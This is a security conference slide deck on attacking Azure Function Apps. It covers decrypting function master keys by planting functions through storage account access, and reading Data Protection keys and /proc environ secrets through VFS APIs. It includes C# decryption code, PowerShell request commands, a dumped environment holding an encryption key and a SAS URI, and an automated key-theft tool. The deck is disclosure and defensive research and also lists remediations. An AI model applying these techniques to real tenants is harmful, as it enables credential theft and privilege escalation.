

What The Function:

A Deep Dive into Azure Function App Security

Who Are We?

- Karl Fosaaen
 - VP of Research
 - Co-Author
- Thomas Elling
 - Director Cloud
 - Technical Editor
- Tools Development
 - MicroBurst
- Cloud Researchers





Previous Research

Rogier Dijkman - Privilege Escalation via storage accounts

https://rogierdijkman.medium.com/privilege-escalation-via-storage-accounts-bca24373cc2e

 Roi Nisimi - From listKeys to Glory: How We Achieved a Subscription Privilege Escalation and RCE by Abusing Azure Storage Account Keys

https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/

 MSRC - Best practices regarding Azure Storage Keys, Azure Functions, and Azure Role Based Access

https://msrc.microsoft.com/blog/2023/04/best-practices-regarding-azure-storage-keys-azure-functions-and-azure-role-based-access/

- Bill Ben Haim & Zur Ulianitzky 10 ways of gaining control over Azure function Apps https://medium.com/xm-cyber/10-ways-of-gaining-control-over-azure-function-apps-7e7b84367ce6
- Andy Robbins Abusing Azure App Service Managed Identity Assignments

https://posts.specterops.io/abusing-azure-app-service-managed-identity-assignments-c3adefccff95




App Services Overview



What are App Services?


- Serverless Application Hosting Service
 - Web Application and API hosting
 - Container-based
- URL Structure
 - APP_Name.azurewebsites.net
 - Custom Domains
- Subdomain Takeover Target
- Authentication Providers
 - Supports Integrated Authentication
 - Microsoft Accounts / AAD
 - Apple, Facebook, Google, etc.
 - Wiz #BingBang Vulnerability





What are App Services?

- Primary Management Console
 - Built into the Portal
- Secondary Management Interface (Kudu)
 - Web Shell Command Execution
 - CMD / PowerShell / Bash / SSH
 - File Access
 - APP_Name.scm.azurewebsites.net
- Supports Managed Identities
 - Allows the application to access other Azure resources
- Technically Inclusive of Function Apps





Function Apps Overview



What are Function Apps?

- A subset of App Services for hosting APIs
- Function App is the Resource
 - Functions are the APIs under the resource
- Example:

Resource:


https://netspi.azurewebsites.net

Function:

https://netspi.azurewebsites.net/api/HttpTrigger1


- Windows or Linux Container-Based Hosting
- Has Console and Kudu Interfaces
- View/Edit (Code + Test) Functions in the Portal
- Supports Managed Identities





What are Function Apps?

- Authentication Schema
 - Resource-level Keys
 - master
 - Full Control of the App
 - Default
 - Function Execution
 - Function-level Keys
 - default
 - Individual Function Execution
 - Anonymous
- Also Supports Integrated Authentication
- Service is supported by a Storage Account






Function Apps -Storage Accounts and Key Decryption



Function App Storage Accounts


- Functions require Storage Accounts on creation
 - Blob Storage
 - Files
- Container Files
 - Web Jobs Data
 - Application and Function Keys
 - Encrypted in host.json
- File Share Files
 - Application Code and Log Files
 - Consumption and Premium Plans
- Queues and Tables
 - Used with certain trigger types





Key Decryption Overview

- Function App Access Keys can be stored in Storage Account containers in an encrypted format
- Access Keys can be decrypted within the Function App container AND offline
- Works with Windows or Linux, with any runtime stack
- Decryption requires access to the decryption key (stored in an environment variable in the Function container) and the encrypted key material (from host.json)
- Reported to MSRC confirmed to be expected and documented behavior





Permissions Requirements

- Storage Account Permissions can affect corresponding Function App
 - Cross-service privilege escalation
- Read access to Containers
 - azure-webjobs-secrets container
 - host.json blob
- Write Access to File Shares
 - share for code storage
- Access Methods
 - RBAC roles and permissions
 - Storage Account Contributor
 - Microsoft.Storage/ storageAccounts/ listKeys/action
 - Custom roles
 - Storage Key Access
 - SAS Token Access



Storage Account Contributor

Permits management of storage accounts. Provides access to the account key, which can be used to access data via Shared Key authorization. Learn more

Actions	Description	
Microsoft.Authorization/*/read	Read roles and role assignments	
Microsoft.Insights/alertRules/*	Create and manage a classic metric alert	
Microsoft.Insights/diagnosticSettings/*	Creates, updates, or reads the diagnostic setting for Analysis Server	
Microsoft.Network/virtualNetworks/subnets/joinViaServiceEndpoint/action	Joins resource such as storage account or SQL database to a subnet. Not alertable.	
Microsoft.ResourceHealth/availabilityStatuses/read	Gets the availability statuses for all resources in the specified scope	
Microsoft.Resources/deployments/*	Create and manage a deployment	
Microsoft.Resources/subscriptions/resourceGroups/read	Gets or lists resource groups.	
Microsoft.Storage/storageAccounts/*	Create and manage storage accounts	
Microsoft.Support/*	Create and update a support ticket	
NotActions		
none		
DataActions		
none		
NotDataActions		
none		


Creating a new Function App (without Function App access)

- File Share Files
 - Application and Log Files
 - Can also be overwritten
- Overwrite Existing Code Files
 - Backdoor existing functions
- Add a New Folder with a New Function
 - /Share/site/wwwroot/NewFunction
 - Add new files*:
 - run.ps1
 - function.json
 - etc.

*Varies by programming language

- Wait for the New Function to Populate
 - Just wait and keep making requests





How does decryption work?

- ASP.NET Core Data Protection
- Azure specific Data Protector used
 - Azure Web Data Protection
 - "function-secrets"
- Azure Web Data Protection library can be used directly in Function container
- Azure Web Data Protection library https://github.com/Azure/azure-websitessecurity
- https://social.msdn.microsoft.com/Forum s/Lync/en-US/a4b49641-00f8-4f2a-a4ea-187b87b36e06/decrypt-the-machine-keyfrom-inside-a-functionapp?forum=AzureFunctions
 - Code will fail, but core concepts work



```
public DataProtectionKeyValueConverter()

{
    var provider = DataProtectionProvider.CreateAzureDataProtector();
    _dataProtector = provider.CreateProtector("function-secrets");

}

public Key ReadValue(Key key)

{
    var resultKey = new Key(key.Name, null, false);
    resultKey.Value = _dataProtector.Unprotect(key.Value);
    return resultKey;
}
```


```
☐ Save X Discard ( ) Refresh ☐ Test/Run ↑ Upload ☐ Get function URL
       \ KeyDecryption \ run.csx
     #r."Newtonsoft.Json"
     using Microsoft.AspNetCore.DataProtection;
     using Microsoft.Azure.Web.DataProtection;
     using System.Net.Http;
     using System. Text;
     using System.Net;
     using Microsoft.AspNetCore.Mvc;
     using Microsoft. Extensions. Primitives;
     using Newtonsoft. Json;
11
     private static HttpClient httpClient = new HttpClient();
13
14
     public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
15
16
        - log.LogInformation("C# HTTP trigger function processed a request.");
17
         ·DataProtectionKeyValueConverter ·converter ·= ·new ·DataProtectionKeyValueConverter();
         string keyname = "master";
```

Decrypting Function App Keys

- Read Encrypted Application and Function **Keys from Container Files – host.json**
- Add New Function Folder and Code to File Share
- Container has access to Decryption Keys environment variables
- **Run Function that contains Decryption** Code
 - Timer Trigger
 - HTTP Trigger
- **Return Decrypted Keys**
 - To Your Web Server
 - Via Web Response

Name

master



IO4VZM560OMIXzVNIHUL4DObygmWYNxQXxqWFoQvDwAqAzFuyClhPQ==



Decrypting Function App Keys Off Function Apps

- Same as in the Function App container, but return the key back when you call the function
- Only requires access to an environment variable containing decryption key
 - AzureWebEncryptionKey (default)
 - MACHINEKEY_DecryptionKey
- Return Decryption Key
 - To Your Web Server
 - Via Web Response
- Use key locally for decryption
- Microsoft.Azure.Web.DataProtection ->
 DataProtectionProviderTests.cs ->
 Replace environment variable and encrypted string -> write unprotected result to file



```
using System;

namespace Microsoft.Azure.Web.DataProtection

namespace Microsoft.Azure.Web.DataProtection

public static class Constants

public const string AzureWebsiteSIISSiteName = "WEBSITE_IIS_SITE_NAME";

public const string AzureWebsiteInstanceId = "WEBSITE_INSTANCE_ID";

public const string AzureWebsitePrimaryEncryptionKeyId = "AzureWebPrimaryEncryptionKey";

public const string AzureWebsiteInstanceId = "AzureWebEncryptionKey";

public const string AzureWebReferencedKeyPrefix = "AzureWebEncryptionKey";

public const string DefaultEncryptionKeyId = "00000000-0000-0000-000000000000";

internal const string RootWebConfigPath = @"%systemdrive%\local\config\rootweb.config";

internal const string MachingKeyXPathFormat = "configuration/location[@path='{0}\']/system

}
```

Automating the Process: Tool Demo

- 1. Select a Subscription
- 2. Enumerates vulnerable Storage Accounts
- 3. Select Storage Account and the tool will add malicious functions to the Storage Accounts, and attempt to execute them
- 4. Functions will return the decryption key for the Function App Master Key, along with Managed Identity tokens (*if available) through HTTP Trigger (function level authorization)
- 5. Attempts to cleanup code after function execution

Welcome to the NetSPI "FuncoPop" (Function App Key Decryption) App!

FUNCOPOP

Encryption Key:


Encrypted Data:

Submit

Decrypted Key value:



^{*} Tool will create state changes (creates new function) to return MI tokens and decryption key



Supported Functionality

Payload	Decryption Keys	Managed ID Tokens
ASP.NET	Yes	Yes
PowerShell	Yes	Yes
Python	Yes	Yes
Node	Yes	No
Java	No	No



Function App – Post Exploitation

- We have Keys and Tokens, what now?
- Use the tokens with the REST APIs
 - Management
 - Vault
 - Graph
- Use Function App Keys to access Apps
 - Backdoor existing code
 - Maintain access to a Function App
 - Use the actual functions






Function Apps - VFS File APIs



Function App File Access

- Portal Access to Function Files
 - Now disabled for the Reader Role
 - Still available to Contributor and above
- Base Application Files
 - Main Portal Menu
- Individual Function Files
 - Code + Test Menu
- Both use the same "VFS" API





https://management.azure.com/subscriptions/\$SUB_ID/resource Groups/\$RG/providers/Microsoft.Web/sites/\$APP/hostruntime/ admin/vfs//?relativePath=1&api-version=2021-01-15

> \$SUB_ID = Subscription ID \$RG = Resource Group \$APP = Application Name



- relativePath Parameter
 - 1 Restricted
 - 0 Unrestricted (shows Root FS)
- Windows Container
 - Allows for Access to Data Protection Keys
 - Multiple Uses in Function Apps
 - Including Encrypting Stored Keys

```
https://management.azure.com/subscriptions/$SUB ID/resourceGroups/$RG/providers/Micros
oft.Web/sites/$APP/hostruntime/admin/vfs//ASP.NET/DataProtection-Keys/key-ad12345a-
e321-4a1a-d435-4a98ef4b3fb5.xml?relativePath=0&api-version=2018-11-01
<?xml version="1.0" encoding="utf-8"?>
<key id="ad12345a-e321-4a1a-d435-4a98ef4b3fb5" version="1">
  <creationDate>2022-03-29T11:23:34.54555247</creationDate>
  <activationDate>2022-03-29T11:23:34.2303392Z</activationDate>
  <expirationDate>2022-06-27T11:23:34.2303392Z</expirationDate>
  <descriptor
deserializerType="Microsoft.AspNetCore.DataProtection.AuthenticatedEncryption.Configur
ationModel.AuthenticatedEncryptorDescriptorDeserializer,
Microsoft.AspNetCore.DataProtection, Version=3.1.18.0, Culture=neutral
 PublicKeyToken=ace99892819abce50">
    <descriptor>
      <encryption algorithm="AES 256 CBC" />
      <validation algorithm="HMACSHA256" />
      <masterKey p4:requiresEncryption="true"</pre>
xmlns:p4="http://schemas.asp.net/2015/03/dataProtection">
        <!-- Warning: the key below is in an unencrypted form. -->
        <value>a5[REDACTED]==</value>
      </masterKev>
    </descriptor>
  </descriptor>
</key>
```



- Linux Container
 - Allows for Access to Proc Folder
- Proc Folder
 - Contains available PIDs
 - Under each PID is /environ
 - Environmental Variables
- PID related to the Application contains a SAS Token URL

(CONTAINER_START_CONTEXT_SAS_URI)

- read permissions
- Configuration file for the container
- Also Contains an Encryption Key (CONTAINER_ENCRYPTION_KEY)



```
https://management.azure.com/subscriptions/$SUB_ID/resourceGroups/$RG/providers/
Microsoft.Web/sites/$APP/hostruntime/admin/vfs//proc/?relativePath=0&api-version=2021-01-15

JSON output parsed into a PowerShell object:

[Truncated]

name : 59
size : 0
mtime : 2022-09-21T22:00:38.6785209+00:00
crtime : 2022-09-21T22:00:38.6785209+00:00
mime : inode/directory
href : https://vfspoc2.azurewebsites.net/admin/vfs/proc/59/?relativePath=0&api-version=2021-01-15
path : /proc/59

$mgmtToken = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token
```

```
Invoke-WebRequest -Verbose: $false -Uri (-join
("https://management.azure.com/subscriptions/$SUB ID/resourceGroups/$RG/providers/Micr
osoft.Web/sites/$APP/hostruntime/admin/vfs//proc/59/environ?relativePath=0&api-
version=2021-01-15")) -Headers @{Authorization="Bearer SmgmtToken"} -OutFile
.\TempFile.txt
gc .\TempFile.txt
PowerShell Output - Newlines added for clarity:
CONTAINER IMAGE URL=mcr.microsoft.com/azure-functions/mesh:3.13.1-python3.7
REGION NAME=Central US
HOSTNAME=SandboxHost-637993944271867487
[Truncated]
CONTAINER ENCRYPTION KEY=bgyDt7gk8COpwMWMxClB7Q1+CFY/a15+mCev2leTFeg=
LANG=C.UTF-8
CONTAINER NAME=E9911CE2-637993944227393451
[Truncated]
CONTAINER START CONTEXT SAS URI=http://wawsstorageproddm1157.blob.core.windows.net/azc
ontainers/e9911ce2-637993944227393451?sv=2014-02-
14&sr=b&sig=5ce7MUXsF4h%2Fr1%2BfwIbEJn6RMf2%2B06c2AwrNSrnmUCU%3D&st=2022-09-
21T21%3A55%3A22Z&se=2023-09-21T22%3A00%3A22Z&sp=r
[Truncated]
```

Decrypting the Configuration

SAS Token Configuration File

 EncryptedContext contains data and Initialization Vector (IV)


Decryption Returns


- Storage Account Connection String
- Links to Source Code Zip Files:
 - SCM RUN FROM PACKAGE
 - APPSETTING_SCM_RUN_FROM PACKAGE
- Secrets:
 - Master
 - Function

MICROSOFT PROVIDER AUTHENTICATION SECRET

- App Registration Credentials
- If AAD is in use by the App








Remediation

- Microsoft restricted the API from Read permissions
- They did not remove (or fix) the API

Current Options

- Use Contributor to follow the same exploit
 - Viable, indirect way to get keys
 - Won't trigger normal detections
- Container Command Execution
 - Access ENV Vars
 - Follow same process
 - See NetSPI Blog for Function code





Conclusions



Azure Function App Best Practices

Least Privilege

- Everywhere in Azure
- Limit RBAC scopes Resource Groups

Protect the Storage Accounts

- Require AAD Auth
- Disable SAS Token and Shared Key Access
- Don't store these in cleartext

Limit Permissions on Function App Identities

· Only grant access to necessary resources

Function App and Storage Accounts

Use dedicated Resource Groups for both

Logging

- · Enable Diagnostic Logs on both
- · Control plane AND Data plane

Microsoft recommendations

- Key Vault and VNET integration
- https://learn.microsoft.com/en-us/azure/azurefunctions/storage-considerations?tabs=azure-cli#importantconsiderations
- https://learn.microsoft.com/en-us/azure/azurefunctions/functions-networking-options?tabs=azurecli#restrict-your-storage-account-to-a-virtual-network
- https://learn.microsoft.com/en-us/azure/azurefunctions/functions-networking-options?tabs=azure-cli#usekey-vault-references
- https://learn.microsoft.com/en-us/azure/azurefunctions/security-concepts?tabs=v4



MSRC Disclosure Timelines

Function App VFS APIs

- Initial Report (Windows Container) 8/2/22
- Secondary Report (Linux Container) 9/14/22
- Initial Fix 1/17/23
- Fix Rollback 1/24/23
- Secondary Fix 3/6/23
- Public Disclosure 3/23/23

Function Key Decryption

- 02/08/2023 Initial report created
- 02/13/2023 Case closed as expected and documented behavior
- 03/08/2023 Second report added to case
- 04/25/2023 MSRC confirms original assessment as expected and documented



Questions?

Special Thanks

• Rogier Dijkman, Roi Nisimi, Bill Ben Haim, Zur Ulianitzky, Andy Robbins

Find Us Online:

Karl Fosaaen

- @kfosaaen (Twitter/X, Bluesky, Mastodon, Threads)
- Karl-Fosaaen (LinkedIn)

Thomas Elling

thomaselling1 (LinkedIn)

Both:

- https://www.netspi.com/blog/technical/
- https://github.com/NetSPI/FuncoPop



Always-on Pentesting

Platform Driven, Human Delivered.

WWW.NETSPI.COM | SALES@NETSPI.COM

